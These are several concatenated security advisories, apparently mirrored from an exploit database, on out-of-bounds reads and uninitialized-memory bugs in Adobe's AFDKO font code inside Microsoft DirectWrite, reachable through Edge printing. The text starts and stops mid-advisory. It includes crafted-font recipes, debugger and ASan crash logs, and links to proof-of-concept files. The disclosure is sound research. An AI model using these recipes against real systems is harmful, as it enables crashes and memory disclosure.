There are two less significant bugs in the creation of the C strings array in postRead(). Let's analyze the following loop again:

--- cut ---
  2005      /* Build C strings array */
  2006      dnaSET_CNT(h->post.fmt2.strings, strCount);
  2007      p = h->post.fmt2.buf.array;
  2008      end = p + length;
  2009      i = 0;
  2010      for (i = 0; i < h->post.fmt2.strings.cnt; i++) {
  2011          length = *(unsigned char *)p;
  2012          *p++ = '\0';
  2013          h->post.fmt2.strings.array[i] = p;
  2014          p += length;
  2015          if (p > end) {
  2016              message(h, "post 2.0: invalid strings");
  2017              goto parseError;
  2018          }
  2019      }
  2020      *p = '\0';
  2021      if (p != end)
  2022          message(h, "post 2.0: string data didn't reach end of table");
  2023
  2024      return; /* Success */
  2025
  2026  parseError:
  2027      /* We managed to read the header but the rest of the table had an error that
  2028       prevented reading some (or all) glyph names. We set the the post format
  2029       to a value that will allow us to use the header values but will prevent
  2030       us from using any glyph name data which is likely missing or invalid */
  2031      h->post.format = 0x00000001;
  2032  }
--- cut ---

The issues are as follows:

- It is possible to set a glyph name in h->post.fmt2.strings.array[i] (line 2013) to a pointer just outside the h->post.fmt2.buf.array allocation (i.e. equal to the value of the "end" pointer). This is due to the fact that the check in line 2015 only verifies that "p" doesn't go significantly outside the buffer, but allows it to be exactly on the verge of it (one byte after). This may later lead to the disclosure of out-of-bounds heap memory.
- If the error branch in lines 2015-2018 is taken, the last initialized string in the h->post.fmt2.strings array won't be nul-terminated, which also may disclose data from adjacent heap chunks.

-----=====[ Proof of Concept ]=====-----

There are three proof of concept files, poc_null_deref.otf, poc_uninit.otf and poc_oob.otf. They trigger crashes as a result of a NULL pointer dereference, use of uninitialized memory and an out-of-bounds memory read, respectively.

The malformed values are as follows:

- In poc_null_deref.otf, the first "nid" is 65535 (larger than 32767), causing the goto statement in line 1995 to be executed, which leaves h->post.fmt2.strings empty.
- In poc_uninit.otf, the length of the first string on the list is declared as 255, which exceeds the length of the overall "post" table. This causes postRead() to bail out early in cffread.c:2017, with only h->post.fmt2.strings.array[0] having been initialized, but not array[1] or array[2]. However the latter two values are still returned as valid glyph names by post2GetName(). Later on, this leads to a crash while trying to read from address 0xbebe..be, with 0xbe being ASAN's uninitialized memory marker.
- In poc_oob.otf, we set numGlyphs to 60 (i.e. the length of the h->post.fmt2.glyphNameIndex) array, but set the "nid" values such that strCount (i.e. the length of h->post.fmt2.strings) equals 50. All 50 string lengths are set to 0 except for the last one, which is set to 255, exceeding the size of the "post" table. This causes the "goto" in line 2017 to be taken, setting the post table format to 0x00000001. At a later stage of the font parsing, post2GetName() is called with gid=0, 1, ... 49, 50, 51, 52, and so forth. When "gid" reaches 50, the "gid >= h->post.fmt2.glyphNameIndex.cnt" condition is not met and "h->post.format != 0x00020000" is, so the function ends up accessing the out-of-bounds value at h->post.fmt2.strings.array[50].

The uninitialized memory case doesn't affect Microsoft DirectWrite, as its own allocation function returns zero-ed out memory.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_uninit.otf crashes in the following way:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
243                    (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
(gdb) x/10i $rip
=> 0x5b5add <glyphBeg+2125>:    mov    0x7fff8000(%rdx),%sil
   0x5b5ae4 <glyphBeg+2132>:    cmp    $0x0,%sil
   0x5b5ae8 <glyphBeg+2136>:    mov    %rcx,-0x138(%rbp)
   0x5b5aef <glyphBeg+2143>:    mov    %sil,-0x139(%rbp)
   0x5b5af6 <glyphBeg+2150>:    je     0x5b5b23 <glyphBeg+2195>
   0x5b5afc <glyphBeg+2156>:    mov    -0x138(%rbp),%rax
   0x5b5b03 <glyphBeg+2163>:    and    $0x7,%rax
   0x5b5b07 <glyphBeg+2167>:    mov    %al,%cl
   0x5b5b09 <glyphBeg+2169>:    mov    -0x139(%rbp),%dl
   0x5b5b0f <glyphBeg+2175>:    cmp    %dl,%cl
   
(gdb) info reg $rdx
rdx            0x17d7d7d7d7d7d7d7       1718079104904320983
(gdb) print info->gname
$1 = {ptr = 0xbebebebebebebebe <error: Cannot access memory at address 0xbebebebebebebebe>, impl = -1}

(gdb) bt
#0  0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
#1  0x00000000006d6fd2 in otfGlyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/tx_shared/tx_shared.c:4812
#2  0x0000000000542089 in readGlyph (h=0x62a000000200, gid=1, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2891
#3  0x0000000000541c33 in cfrIterateGlyphs (h=0x62a000000200, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2966
#4  0x0000000000509663 in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#5  0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
    at ../../../../source/tx.c:429
#6  0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
    at ../../../../source/tx.c:488
#7  0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
#8  0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_oob.otf prints out the following report:

--- cut ---
=================================================================
==172440==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000005d0 at pc 0x000000556c71 bp 0x7fffcbccca60 sp 0x7fffcbccca58
READ of size 8 at 0x6140000005d0 thread T0
    #0 0x556c70 in post2GetName afdko/c/public/lib/source/cffread/cffread.c:1824:16
    #1 0x555f53 in readCharSetFromPost afdko/c/public/lib/source/cffread/cffread.c:2115:27
    #2 0x53efc4 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2143:13
    #3 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
    #4 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #9 0x7f655ae8e2b0 in __libc_start_main
    #10 0x41e5b9 in _start

0x6140000005d0 is located 0 bytes to the right of 400-byte region [0x614000000440,0x6140000005d0)
allocated by thread T0 here:
    #0 0x4c63f3 in __interceptor_malloc
    #1 0x6c9da2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x7de92e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x7def55 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x554658 in postRead afdko/c/public/lib/source/cffread/cffread.c:2006:5
    #6 0x53eed9 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2139:9
    #7 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
    #8 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #9 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #10 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #11 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #12 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #13 0x7f655ae8e2b0 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1824:16 in post2GetName
Shadow bytes around the buggy address:
  0x0c287fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0c287fff8080: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c287fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c287fff80b0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
  0x0c287fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==172440==ABORTING
--- cut ---

A similar Microsoft Edge renderer process crash is also shown below (with Application Verifier enabled for MicrosoftEdgeCP.exe):

--- cut ---
(221c.1250): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!post2GetName+0x25:
00007ffd`100f5475 488b04c8        mov     rax,qword ptr [rax+rcx*8] ds:00000247`2b29b000=????????????????
0:039> ? rax
Evaluate expression: 2504690085488 = 00000247`2b29ae70
0:039> ? rcx
Evaluate expression: 50 = 00000000`00000032
0:039> dq rax
00000247`2b29ae70  00000247`2b296ed1 00000247`2b296ed2
00000247`2b29ae80  00000247`2b296ed3 00000247`2b296ed4
00000247`2b29ae90  00000247`2b296ed5 00000247`2b296ed6
00000247`2b29aea0  00000247`2b296ed7 00000247`2b296ed8
00000247`2b29aeb0  00000247`2b296ed9 00000247`2b296eda
00000247`2b29aec0  00000247`2b296edb 00000247`2b296edc
00000247`2b29aed0  00000247`2b296edd 00000247`2b296ede
00000247`2b29aee0  00000247`2b296edf 00000247`2b296ee0
0:039> k
 # Child-SP          RetAddr           Call Site
00 00000044`6973a9e8 00007ffd`100f5b52 DWrite!post2GetName+0x25
01 00000044`6973a9f0 00007ffd`100f5d2b DWrite!readCharSetFromPost+0x1b6
02 00000044`6973aa30 00007ffd`100f9b80 DWrite!readCharset+0x37
03 00000044`6973aa60 00007ffd`100ed7f7 DWrite!cfrBegFont+0x680
04 00000044`6973b500 00007ffd`10083a1f DWrite!AdobeCFF2Snapshot+0x10f
05 00000044`6973ba00 00007ffd`10082ce1 DWrite!FontInstancer::InstanceCffTable+0x163
06 00000044`6973bbf0 00007ffd`1008295e DWrite!FontInstancer::CreateInstanceInternal+0x239
07 00000044`6973be10 00007ffd`100633de DWrite!FontInstancer::CreateInstance+0x182
08 00000044`6973c170 00007ffd`1ca008e3 DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 00000044`6973c200 00007ffd`1c9f28b9 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 00000044`6973c320 00007ffd`032b8394 d2d1!dxc::CXpsPrintControl::Close+0xc9
0b 00000044`6973c370 00007ffd`03292760 edgehtml!CDXPrintControl::Close+0x44
0c 00000044`6973c3c0 00007ffd`0329784d edgehtml!CTemplatePrinter::EndPrintD2D+0x50
0d 00000044`6973c3f0 00007ffd`0315dc9d edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 00000044`6973c420 00007ffd`02d9b665 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 00000044`6973c460 00007ffd`021aab4e edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47101.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexGetString() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:

--- cut ---
   148  /* Get string from SRI. */
   149  char *cfwSindexGetString(cfwCtx g, SRI index) {
   150      sindexCtx h = g->ctx.sindex;
   151      if (index < STD_STR_CNT) {
   152          return sid2std[index];
   153      } else {
   154          return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];
   155      }
   156  }
--- cut ---

In all cases, the exception is thrown in line 154, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). For some reproducers, the h->custom dynamic array is correctly initialized and h->custom.array points into a heap allocation; in other cases h->custom is an empty array and h->custom.array has a near-NULL value. Even in the latter case, accessing h->custom.array[65144] translates to an address around 0x7f4c4 (on x86) or 0xfe884 (on x64), both of which can be mapped on many operating systems.

The cfwSindexGetString() function is called from fillNameINDEX() in cffwrite/cffwrite.c:

--- cut ---
   845      for (i = 0; i < h->FontSet.cnt; i++) {
   846          cff_Font *font = &h->FontSet.array[i];
   847          if (font->FDArray.cnt > 0) {
   848              char *name =
   849                  cfwSindexGetString(h->g, (SRI)((font->flags & FONT_CID) ? font->top.cid.CIDFontName.impl : font->FDArray.array[0].dict.FontName.impl));
   850              /* 64-bit warning fixed by cast here */
   851              h->name.datasize += (long)strlen(name);
   852          }
   853      }
--- cut ---

We can see that the "index" argument is passed from font->top.cid.CIDFontName.impl or font->FDArray.array[0].dict.FontName.impl. Both CIDFontName and FontName objects are abfString structures, defined in afdko/c/public/lib/api/absfont.h:

--- cut ---
    44  typedef struct /* String */
    45  {
    46      char *ptr; /* ABF_UNSET_PTR */
    47      long impl; /* ABF_UNSET_INT */
    48  } abfString;
--- cut ---

The "impl" field is used to store a SRI-typed value, which takes the default value of SRI_UNDEF if it is uninitialized or invalid:

--- cut ---
    22  #define SRI_UNDEF 0xffff    /* SRI of undefined string */
--- cut ---

This indicates that the font name-related structures are not properly initialized before being used to generate the output CFF font. As the string returned by cfwSindexGetString() is later saved to the output file, this out-of-bounds read could lead to the disclosure of the AFDKO client process memory.

-----=====[ Proof of Concept ]=====-----

There are two proof of concept files, poc1.otf and poc2.otf. The first one triggers an access to h->custom.array[65144] for an empty h->custom array, while the second one results in a similar OOB read but with a non-empty h->custom object.

The fonts are specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the fonts with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc2.otf prints out the following report:

--- cut ---
=================================================================
==253002==ERROR: AddressSanitizer: SEGV on unknown address 0x6210000ffc80 (pc 0x00000058aa1a bp 0x7fffd5742e70 sp 0x7fffd5742e00 T0)
==253002==The signal is caused by a READ memory access.
    #0 0x58aa19 in cfwSindexGetString afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17
    #1 0x56fe6c in fillNameINDEX afdko/c/public/lib/source/cffwrite/cffwrite.c:849:17
    #2 0x56d37f in initSetSizes afdko/c/public/lib/source/cffwrite/cffwrite.c:896:24
    #3 0x567320 in fillSet afdko/c/public/lib/source/cffwrite/cffwrite.c:1085:5
    #4 0x5645b5 in cfwEndSet afdko/c/public/lib/source/cffwrite/cffwrite.c:2128:5
    #5 0x6ebd6d in cff_EndSet afdko/c/public/lib/source/tx_shared/tx_shared.c:1076:9
    #6 0x506b6c in doSingleFileSet afdko/c/tx/source/tx.c:489:5
    #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #9 0x7f19da4782b0 in __libc_start_main
    #10 0x41e5b9 in _start

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17 in cfwSindexGetString
==253002==ABORTING
--- cut ---

A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
154             return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];

(gdb) print index
$1 = 65535
(gdb) print h->custom
$2 = {ctx = 0x6fdb90, array = 0x72a580, cnt = 1, size = 260, incr = 1000, func = 0x0}

(gdb) x/10i $rip
=> 0x424a4c <cfwSindexGetString+108>:   add    (%rcx),%rax
   0x424a4f <cfwSindexGetString+111>:   mov    %rax,-0x8(%rbp)
   0x424a53 <cfwSindexGetString+115>:   mov    -0x8(%rbp),%rax
   0x424a57 <cfwSindexGetString+119>:   pop    %rbp
   0x424a58 <cfwSindexGetString+120>:   retq
   0x424a59:    nopl   0x0(%rax)
   0x424a60 <cfwSindexAssignSID>:       push   %rbp
   0x424a61 <cfwSindexAssignSID+1>:     mov    %rsp,%rbp
   0x424a64 <cfwSindexAssignSID+4>:     mov    %si,%ax
   0x424a67 <cfwSindexAssignSID+7>:     mov    %rdi,-0x10(%rbp)
(gdb) info reg $rcx
rcx            0x828d00 8555776
(gdb) x/10gx $rcx
0x828d00:       Cannot access memory at address 0x828d00

(gdb) bt
#0  0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
#1  0x000000000041de69 in fillNameINDEX (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:849
#2  0x000000000041d3f0 in initSetSizes (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:896
#3  0x000000000041b8be in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1085
#4  0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
#5  0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
#6  0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1a "poc2.otf")
    at ../../../../source/tx.c:489
#7  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#8  0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:

--- cut ---
(61c8.53dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!cfwSindexGetString+0x27:
00007ffb`29e7a51b 486384c8c8f3ffff movsxd  rax,dword ptr [rax+rcx*8-0C38h] ds:000001eb`f4260d20=????????
0:039> ? rax
Evaluate expression: 2112924555616 = 000001eb`f41e1960
0:039> ? rcx
Evaluate expression: 65535 = 00000000`0000ffff
0:039> db rax+rcx*8-c38
000001eb`f4260d20  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d30  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d40  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d50  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d60  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d70  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d80  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001eb`f4260d90  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:039> k
 # Child-SP          RetAddr           Call Site
00 00000062`d53eb1d8 00007ffb`29e700d3 DWrite!cfwSindexGetString+0x27
01 00000062`d53eb1e0 00007ffb`29e707d9 DWrite!fillNameINDEX+0x4b
02 00000062`d53eb210 00007ffb`29e702cf DWrite!initSetSizes+0x49
03 00000062`d53eb240 00007ffb`29e7219d DWrite!fillSet+0x163
04 00000062`d53eb2b0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
05 00000062`d53eb2f0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
06 00000062`d53eb7f0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
07 00000062`d53eb9d0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 00000062`d53ebbf0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
09 00000062`d53ebf50 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 00000062`d53ebfe0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 00000062`d53ec100 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 00000062`d53ec150 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0d 00000062`d53ec1a0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 00000062`d53ec1d0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 00000062`d53ec200 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 00000062`d53ec240 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47100.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexAssignSID() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:

--- cut ---
   158  /* Assign the next custom SID to the specified custom string. */
   159  SID cfwSindexAssignSID(cfwCtx g, SRI index) {
   160      sindexCtx h = g->ctx.sindex;
   161      if (index < STD_STR_CNT) {
   162          return index;
   163      } else {
   164          CustomRec *custom = &h->custom.array[index - STD_STR_CNT];
   165          if (custom->sid == SID_UNDEF) {
   166              custom->sid = h->nextid++;
   167          }
   168          return custom->sid;
   169      }
   170  }
--- cut ---

In all cases, the exception is thrown in line 165, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). The two different invocations of cfwSindexAssignSID() which trigger the crash are found in the cfwDictFillTop() function in cffwrite/cffwrite_dict.c (lines 520 and 522):

--- cut ---
   517      /* ROS */
   518      if (top->sup.flags & ABF_CID_FONT) {
   519          cfwDictSaveInt(dst,
   520                         cfwSindexAssignSID(g, (SRI)top->cid.Registry.impl));
   521          cfwDictSaveInt(dst,
   522                         cfwSindexAssignSID(g, (SRI)top->cid.Ordering.impl));
   523          cfwDictSaveInt(dst, top->cid.Supplement);
   524          cfwDictSaveOp(dst, cff_ROS);
   525      }
--- cut ---

The cause of the problem is that the top->cid.Registry.impl and/or top->cid.Ordering.impl fields are set to 0xffff while executing the above code, and they are treated as valid indexes into h->custom.array, even though they contain the special marker values.

The "Registry" and "Ordering" strings are initialized when a cff_ROS operator is encountered while loading an input DICT structure in readDICT (cffread/cffread.c):

--- cut ---
  1287                      case cff_ROS:
  1288                          CHKUFLOW(3);
  1289                          top->cid.Registry.ptr = sid2str(h, (SID)INDEX_INT(0));
  1290                          top->cid.Ordering.ptr = sid2str(h, (SID)INDEX_INT(1));
  1291                          top->cid.Supplement = INDEX_INT(2);
  1292                          h->flags |= CID_FONT;
  1293                          break;
--- cut ---

Later on, these strings are added to the string index of the output font in cfwDictCopyTop (cffwrite/cffwrite_dict.c):

--- cut ---
   193      /* Add strings to index */
   194      addString(g, &dst->version);
[...]
   204      addString(g, &dst->cid.Registry);
   205      addString(g, &dst->cid.Ordering);
   206  }
--- cut ---

where addString() is defined as:

--- cut ---
    59  /* Add string to string index. */
    60  static void addString(cfwCtx g, abfString *str) {
    61      str->impl = cfwSindexAddString(g, str->ptr);
    62  }
--- cut ---

where in turn cfwSindexAddString() is defined as (cffwrite/cffwrite_sindex.c):

--- cut ---
    99  /* Add string. If standard string return its SID, otherwise if in table return
   100     existing record index, else add to table and return new record index. If
   101     string is empty return SRI_UNDEF. */
   102  SRI cfwSindexAddString(cfwCtx g, char *string) {
   103      sindexCtx h = g->ctx.sindex;
   104      size_t index;
   105      StdRec *std;
   106
   107      if (string == NULL || *string == '\0') {
   108          return SRI_UNDEF; /* Reject invalid strings */
   109      }
[...]
--- cut ---

As a result, it should be possible to set cid.Registry.impl and/or cid.Ordering.impl to SRI_UNDEF (0xffff) with non-existent or empty strings. The cfwEndFont() function attempts to protect against this situation by checking if the string pointers are not equal to ABF_UNSET_PTR:

--- cut ---
  1875          /* Validate CID data */
